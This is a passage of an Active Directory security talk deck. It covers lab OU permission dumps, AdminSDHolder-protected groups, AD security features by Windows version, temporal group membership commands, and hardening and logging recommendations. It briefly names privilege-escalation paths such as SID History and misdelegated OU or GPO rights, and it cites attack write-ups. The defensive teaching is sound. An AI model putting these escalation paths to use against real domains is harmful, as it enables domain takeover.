<td>Account Operators (ADSECLAB\Account...</td>
<td>Create/delete Comput...</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Account...</td>
<td>Create/delete Group objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Print Operators (ADSECLAB\Print Oper...</td>
<td>Create/delete Printer objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Domain Computers (ADSECLAB\Domain...</td>
<td>Full control</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Domain Admins (ADSECLAB\Domain...</td>
<td>Full control</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>ENTERPRISE DOMAIN CONTROLLERS</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Authenticated Users</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>SYSTEM</td>
<td>Full control</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access...</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant InetOrgPerson objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access...</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant Group objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access...</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant User objects</td>
</tr>
<tr>
<td>Allow</td>
<td>SELF</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Enterprise Admins (ADSECLAB\Enterprise...</td>
<td>Full control</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Administrators (ADSECLAB\Administr...</td>
<td>List contents</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>ENTERPRISE DOMAIN CONTROLLERS</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant Computer objects</td>
</tr>
<tr>
<td>Type</td>
<td>Principal</td>
<td>Access</td>
<td>Inherited from</td>
<td>Applies to</td>
</tr>
<tr>
<td>--------</td>
<td>----------------------------------</td>
<td>---------------------</td>
<td>----------------</td>
<td>-------------------------------------------</td>
</tr>
<tr>
<td>Deny</td>
<td>Everyone</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>LAPS Password Admins (ADSECLAB\LAPSPWADMIN)</td>
<td>Special</td>
<td>None</td>
<td>Descendant Computer objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Workstation Admins (ADSECLAB\WorkstationAdmins)</td>
<td>Full control</td>
<td>None</td>
<td>Descendant Computer objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\AccountOperators)</td>
<td>Create/delete InetOrgPerson objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\AccountOperators)</td>
<td>Create/delete Computer objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\AccountOperators)</td>
<td>Create/delete Group objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Print Operators (ADSECLAB\PrintOperators)</td>
<td>Create/delete Printer objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\AccountOperators)</td>
<td>Create/delete User objects</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Domain Computers (ADSECLAB\DomainComputers)</td>
<td>Full control</td>
<td>None</td>
<td>This object and all descendant objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Domain Admins (ADSECLAB\DomainAdmins)</td>
<td>Full control</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>ENTERPRISE DOMAIN CONTROLLERS</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Authenticated Users</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>SYSTEM</td>
<td>Full control</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant InetOrgPerson objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant Group objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Pre-Windows 2000 Compatible Access</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>Descendant User objects</td>
</tr>
<tr>
<td>Allow</td>
<td>SELF</td>
<td>Special</td>
<td>DC=lab,DC=adsecurity,DC=org</td>
<td>This object and all descendant objects</td>
</tr>
</tbody>
</table>
```
InheritedObjectType : User
ObjectDN           : OU=Accounts,DC=lab,DC=adsecurity,DC=org
ObjectType         : All
IdentityReference  : ADSECLAB\Help Desk Level 2
IsInherited        : False
ActiveDirectoryRights : GenericAll
PropagationFlags   : InheritOnly
ObjectFlags        : InheritedObjectAceTypePresent
InheritanceFlags   : ContainerInherit
InheritanceType    : Descendents
AccessControlType  : Allow
ObjectSID          : 
IdentitySID        : S-1-5-21-1581655573-3923512380-696647894-4113
```

InheritedObjectType : User
ObjectDN           : OU=Accounts,DC=lab,DC=adsecurity,DC=org
ObjectType         : All
IdentityReference  : ADSECLAB\Help Desk Level 3
IsInherited        : False
ActiveDirectoryRights : GenericAll
PropagationFlags   : InheritOnly
ObjectFlags        : InheritedObjectAceTypePresent
The AdminSDHolder Object
SDProp Protected Objects

- Account Operators
- Administrator
- Administrators
- Backup Operators
- Domain Admins
- Domain Controllers
- Enterprise Admins
- Krbtgt
- Print Operators
- Read-only Domain Controllers
- Replicator
- Schema Admins
- Server Operators

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
AD Security Enhancements by OS

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Windows 2008 R2 Forest/Domain Mode Features

• Kerberos AES support (128 & 256 bit keys)*
• Fine Grained Password Policy*
• Managed Service Accounts
• Authentication Mechanism Assurance
• Offline Domain Join
• ECC support for Smartcard logon (X.509 certificates).
• Audit / Restrict NTLM Authentication

* - Windows 2008 Mode Feature
New AD Features: Windows Server 2012

• UEFI & Secure Boot
• Bitlocker with AD unlock
• Constrained Delegation across Domain/Forest
• Group Managed Service Accounts
• Compound Authentication & Kerberos FAST (aka Kerberos Armoring)
• Dynamic Access Control (attribute-based access)
Key AD Security Features: 2012 R2

• LSA Protection
• “Protected Users” Security Group
  • Protected Users Host/Domain Protection
• Authentication Policies & Silos
• Forest boundary enforcement for Kerberos Delegation
New Security Features (Win 10/2016)
New & Updated Auditing

• Added a default process SACL to LSASS.exe (Mimikatz)
  • Advanced Audit Policy Configuration\Object Access\Audit Kernel Object
• New Security Account Manager read (enumeration) events
  • Event ID 4798 & 4799
• New Audit Subcategories
  • Group Membership query
• New fields in the logon event
  • MachineLogon (Y/N)
  • ElevatedToken (Y/N)
  • RestrictedAdminMode (Y/N)
  • GroupMembership
Windows Server 2016 New Features

• Shielded Virtual Machines (Hyper-V)
• Just-In-Time administration (JIT)
• Just Enough Administration (JEA)
• Nano Server
• Azure AD Conditional Access
• PowerShell v5 & AMSI
AD 2016: Temporal Group Membership

• AD Optional Feature:
  • Privileged Access Management Feature
• Kerberos Ticket TTL
`Add-ADGroupMember -Identity 'Domain Admins' -Members 'InfoSec-VulnScan' -MemberTimeToLive (New-TimeSpan -Days 3)`

`Get-ADGroup 'Domain Admins' -Property member -ShowMemberTimeToLive`

```
DistinguishedName : CN=Domain Admins,CN=Users,DC=AF-2016,DC=adsecurity,DC=org
GroupCategory     : Security
GroupScope        : Global
member             : {<TTL=259188>,CN=InfoSec-VulnScan,CN=Users,DC=AF-2016,DC=adsecurity,DC=org,
                      CN=Administrator,CN=Users,DC=AF-2016,DC=adsecurity,DC=org}
Name               : Domain Admins
ObjectClass        : group
ObjectGUID         : 3e521490-729e-4391-b30a-4e115456fd30
SamAccountName     : Domain Admins
SID                : S-1-5-21-3511422684-756251083-1754319877-512
```
AD 2016: Bastion Forest

• New Privileged Access Management (PAM) trust with Production forest.

• Leverages shadow security groups.
  • Contains attribute referencing Production forest admin group SID.
  • Provides Production forest admin rights without changing permissions.

• Temporal membership in a shadow group (with Kerberos TTL).

• Microsoft Identity Manager (MIM) includes new features to support temporal group management workflow.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Interesting AD Facts

• All Authenticated Users have read access to:
  • Most (all) objects & their attributes in AD (even across trusts!).
  • Most (all) contents in the domain share “SYSVOL” which can contain interesting scripts & files.
Interesting AD Facts:

• A standard user account can:
  • Have elevated rights through the magic of “SID History” without being a member of any groups.
  • Have the ability to modify users/groups without elevated rights through custom OU permissions.
  • Compromise an entire AD domain simply by improperly being granted modify rights to an OU or domain-linked GPO.
A Security Pro’s AD Checklist

• Identify who has AD admin rights (domain/forest).
• Identify who can logon to Domain Controllers (& admin rights to virtual environment hosting virtual DCs).
• Scan Active Directory Domains, OUs, AdminSDHolder, & GPOs for inappropriate custom permissions.
• Ensure AD admins (aka Domain Admins) protect their credentials by not logging into untrusted systems (workstations).
• Limit service account rights that are currently DA (or equivalent).
Summary

• Regularly audit AD admin groups & delegated rights.

• Keys to AD Security:
  • Isolate admin credentials.
  • Isolate critical resources.

• Get AD security right & many common attacks are mitigated/ less effective
Questions?

Like my talk?
Please Submit an Evaluation

Slides: Presentations.ADSecurity.org

Sean Metcalf (@Pyrotek3)
sean [@] TrimarcSecurity.com
www.ADSecurity.org
TrimarcSecurity.com
General Recommendations

• Manage local Administrator passwords (LAPS).
• Implement RDP Restricted Admin mode (as needed).
• Remove unsupported OSs from the network.
• Monitor scheduled tasks on sensitive systems (DCs, etc).
• Ensure that OOB management passwords (DSRM) are changed regularly & securely stored.
• Use SMB v2/v3+
General Recommendations

• Default domain Administrator & KRBTGT password should be changed every year & when an AD admin leaves.

• Remove trusts that are no longer necessary & enable SID filtering as appropriate.

• All domain authentication should be set (when possible) to: “Send NTLMv2 response only\refuse LM & NTLM.”

• Block internet access for DCs, servers, & all administration systems.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Protect Admin Credentials

• No “user” or computer accounts in admin groups.
• Ensure all admin accounts are “sensitive & cannot be delegated”.
• Add admin accounts to “Protected Users” group (requires Windows Server 2012 R2 Domain Controllers, 2012R2 DFL for domain protection).
• Disable all inactive admin accounts and remove from privileged groups.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Protect AD Admin Credentials

• Limit AD admin membership (DA, EA, Schema Admins, etc.) & only use custom delegation groups.
• ‘Tiered’ Administration mitigating credential theft impact.
• Ensure admins only logon to approved admin workstations & servers.
• Leverage time-based, temporary group membership for all admin accounts.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Protect Service Account Credentials

• Limit to systems of the same security level.
• Leverage “(Group) Managed Service Accounts” (or pw >20 characters) to mitigate credential theft (kerberoast).
• Implement FGPP (DFL =>2008) to increase PW requirements for SAs and administrators.
• Logon restrictions - prevent interactive logon & limit logon capability to specific computers.
• Disable inactive SAs & remove from privileged groups.
Protect Resources

• Segment network to protect admin & critical systems.
• Deploy IDS to monitor the internal corporate network.
• Network device & OOB management on separate network.
Protect Domain Controllers

• Only run software & services to support AD.
• Minimal groups (& users) with DC admin/logon rights.
• Ensure patches are applied before running DCPromo (especially MS14-068 and other critical patches).
• Validate scheduled tasks & scripts.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Protect Workstations (& Servers)

- Patch quickly, especially privilege escalation vulnerabilities.
- Deploy security back-port patch (KB2871997).
- Set Wdigest reg key to 0 (KB2871997/Windows 8.1/2012R2+):
  `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest`
- Deploy workstation whitelisting (Microsoft AppLocker) to block code exec in user folders - home dir & profile path.
- Deploy workstation app sandboxing technology (EMET) to mitigate application memory exploits (0-days).

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Logging

• Enable enhanced auditing:
  • “Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings”

• Enable PowerShell module logging (“*”) & forward logs to central log server (WEF or other method).

• Enable CMD Process logging & enhancement (KB3004375) and forward logs to central log server.

• SIEM or equivalent to centralize as much log data as possible.

• User Behavioral Analysis system for enhanced knowledge of user activity (such as Microsoft ATA).
References

• Active Directory Domains and Trusts

• Understanding Trusts

• Trust Types

• Active Directory Replication Overview

• How Active Directory Replication Topology Works

• How the Active Directory Replication Model Works

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
References

• Group Policy Basics

• Optimizing Group Policy Performance

• Organizational Units

• Organizational Unit Design
  http://www.windowsnetworking.com/articles-tutorials/windows-server-2008/Crash-Course-Active-Directory-O rganizational-Unit-Design.html

• How DNS Support for Active Directory Works

• Active Directory-Integrated DNS

• Understanding DNS Zone Replication in Active Directory Domain Services

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
References

- What is an RODC?

- AD DS: Read-Only Domain Controllers

- Read-Only Domain Controllers Step-by-Step Guide

- Service Principal Names (SPNs) Overview

- Register a Service Principal Name for Kerberos Connections
References

• Active Directory Reading Library
  https://adsecurity.org/?page_id=41

• Read-Only Domain Controller (RODC) Information
  https://adsecurity.org/?p=274

• Active Directory Recon Without Admin Rights
  https://adsecurity.org/?p=2535

• Mining Active Directory Service Principal Names
  http://adsecurity.org/?p=230

• SPN Directory:
  http://adsecurity.org/?page_id=183

• MS14-068: Vulnerability in (Active Directory) Kerberos Could Allow Elevation of Privilege
  http://adsecurity.org/?tag=ms14068
References

• Securing Active Directory – An Overview of Best Practices

• Microsoft Enhanced security patch KB2871997
  http://adsecurity.org/?p=559

• Tim Medin’s DerbyCon 2014 presentation: “Attacking Microsoft Kerberos: Kicking the Guard Dog of Hades”
  https://www.youtube.com/watch?v=PUyhIN-E5MU

• Microsoft: Securing Privileged Access Reference Material

• Mimikatz
  https://adsecurity.org/?page_id=1821

• Attack Methods for Gaining Domain Admin Rights in Active Directory
  https://adsecurity.org/?p=2362

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
References

• Microsoft Local Administrator Password Solution (LAPS)
  https://adsecurity.org/?p=1790

• The Most Common Active Directory Security Issues and What You Can Do to Fix Them
  https://adsecurity.org/?p=1684

• How Attackers Dump Active Directory Database Credentials
  https://adsecurity.org/?p=2398

• Sneaky Active Directory Persistence Tricks
  https://adsecurity.org/?p=1929